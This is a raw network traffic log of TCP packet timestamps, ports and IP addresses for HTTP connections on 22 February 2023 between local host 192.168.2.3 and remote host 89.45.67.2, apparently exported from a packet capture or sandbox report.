Feb 22, 2023 09:43:36.216947079 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.216948032 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.217046022 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.217070103 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.217133999 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.217156887 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.217163086 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.217184067 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.217195034 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.217216969 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.217269897 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.217284918 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.217451096 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.217538118 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.217602015 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.217658997 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.217720985 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.217730999 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.217791080 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.217818975 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.217870951 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.217890024 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.217916965 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.217937946 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.217937946 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.218009949 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.218067884 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.218374968 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.218445063 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.218761921 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.218863010 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.219239950 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.219317913 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.219355106 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.219388008 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.219408035 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.219413996 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.219425917 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.219443083 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.219460964 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.219470024 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.219479084 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.219633102 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.219737053 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.256630898 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.256668091 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.256791115 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.256994963 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.260040998 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.260076046 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.260098934 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.260179996 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.260194063 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.260207891 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.260216951 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.260404110 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.260425091 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.260442972 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.260445118 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.260467052 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.260561943 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.260669947 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.260747910 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.260792017 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.260806084 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.260874033 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.260925055 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.261015892 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.261075974 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.261147976 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.261207104 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.261261940 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.261316061 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.261334896 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.261441946 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.261734009 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.261801958 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.262424946 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.262449026 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.262496948 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.262543917 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.262670994 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.262684107 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.262732983 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.262742043 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.262756109 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.262785912 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.262924910 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.299985886 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.300019979 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.300086975 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.300086975 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.300252914 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.303286076 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.303323984 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.303344965 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.303365946 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.303399086 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.303399086 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.303462029 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.303577900 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.303605080 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.303612947 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.303642035 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.303658962 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.303672075 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.303703070 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.303730011 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.303812027 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.303833008 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.303838015 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.303859949 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.303880930 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.304014921 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.304069042 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.304071903 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.304131031 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.304264069 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.304285049 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.304306984 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.304337978 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.304383039 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.304533005 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.304627895 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.304729939 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.304809093 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.305566072 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.305643082 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.305704117 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.305751085 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.305778027 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.305798054 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.305823088 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.305902958 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.305922985 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.305979967 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.305979967 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.306102991 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.343267918 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.343310118 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.343363047 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.343401909 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.346575975 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.346612930 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.346635103 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.346652985 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.346652985 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.346683025 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.346719027 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.346776009 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.346817017 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.346837997 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.346865892 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.346925020 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.346970081 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.346971035 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.347019911 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.347022057 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.347104073 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.347146988 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.347196102 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.347197056 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.347244978 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.347246885 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.347307920 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.347321033 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.347362041 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.347418070 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.347424030 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.347469091 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.347556114 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.347619057 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.347625017 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.347678900 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.347803116 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.347856998 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.348664999 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.348699093 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.348742962 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.348772049 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.348829031 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.348884106 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.348958969 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.348978996 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.349019051 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.349035025 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.349128962 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.349194050 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.386507988 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.386547089 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.386604071 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.386645079 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.390005112 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.390044928 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.390064001 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.390083075 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.390101910 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.390119076 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.390127897 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.390151978 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.390176058 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.390177011 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.390244961 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.390431881 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.390558004 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.390789032 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.390845060 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.391515017 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.391542912 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.391558886 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.391575098 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.391592026 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.391597033 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.391611099 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.391628027 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.391733885 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.391803980 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.391832113 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.391844034 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.391865969 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.391884089 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.391958952 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.391980886 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.392038107 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.392155886 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.392239094 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.392323017 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.430157900 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.430202007 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.430259943 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.430301905 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.433265924 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.433305025 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.433325052 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.433342934 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.433360100 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.433382034 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.433402061 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.433522940 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.433597088 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.433691978 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.433749914 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.435695887 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.435735941 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.435755968 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.435774088 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.435775995 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.435791016 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.435798883 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.435811996 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.435818911 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.435832024 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.435848951 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.435928106 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.435928106 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.435947895 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.435967922 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.436022997 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.436053991 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.436078072 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.436104059 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.436142921 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.436208963 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.436295986 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.473432064 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.473490000 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.473577023 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.473577023 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.476511955 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.476552010 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.476577044 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.476600885 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.476619005 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.476644039 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.476744890 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.476773977 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.476828098 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.476828098 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.476953983 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.477041960 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.477118015 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.477211952 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.478949070 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.478993893 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.479017973 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.479038000 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.479043007 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.479079962 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.479146004 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.479168892 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.479223013 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.479279041 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.479401112 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.479443073 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.479537964 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.479574919 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.479609013 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.479712963 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.479767084 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.479805946 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.517008066 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.519825935 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.520064116 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.520119905 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.520142078 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.520318985 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.520339012 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.520469904 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.522157907 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.522244930 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.527383089 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.748797894 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.771205902 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.771306992 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.976412058 CET	49712	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:37.019471884 CET	80	49712	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:37.019571066 CET	49712	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:37.062614918 CET	80	49712	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:37.062712908 CET	49712	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:37.105715990 CET	80	49712	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:37.105752945 CET	80	49712	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:37.106024027 CET	49712	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:37.188129902 CET	80	49712	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:37.188272953 CET	49712	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:37.231431961 CET	80	49712	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:37.235333920 CET	80	49712	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:37.237551928 CET	49712	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:37.282905102 CET	80	49712	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:37.358268023 CET	49712	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:42.383518934 CET	49712	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:42.427463055 CET	80	49712	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:42.427660942 CET	49712	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:42.498322010 CET	49713	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:42.541287899 CET	80	49713	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:42.541387081 CET	49713	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:42.585764885 CET	80	49713	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:42.586040020 CET	49713	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:42.629174948 CET	80	49713	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:42.631881952 CET	80	49713	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:42.812135935 CET	49713	80	192.168.2.3	89.45.67.2
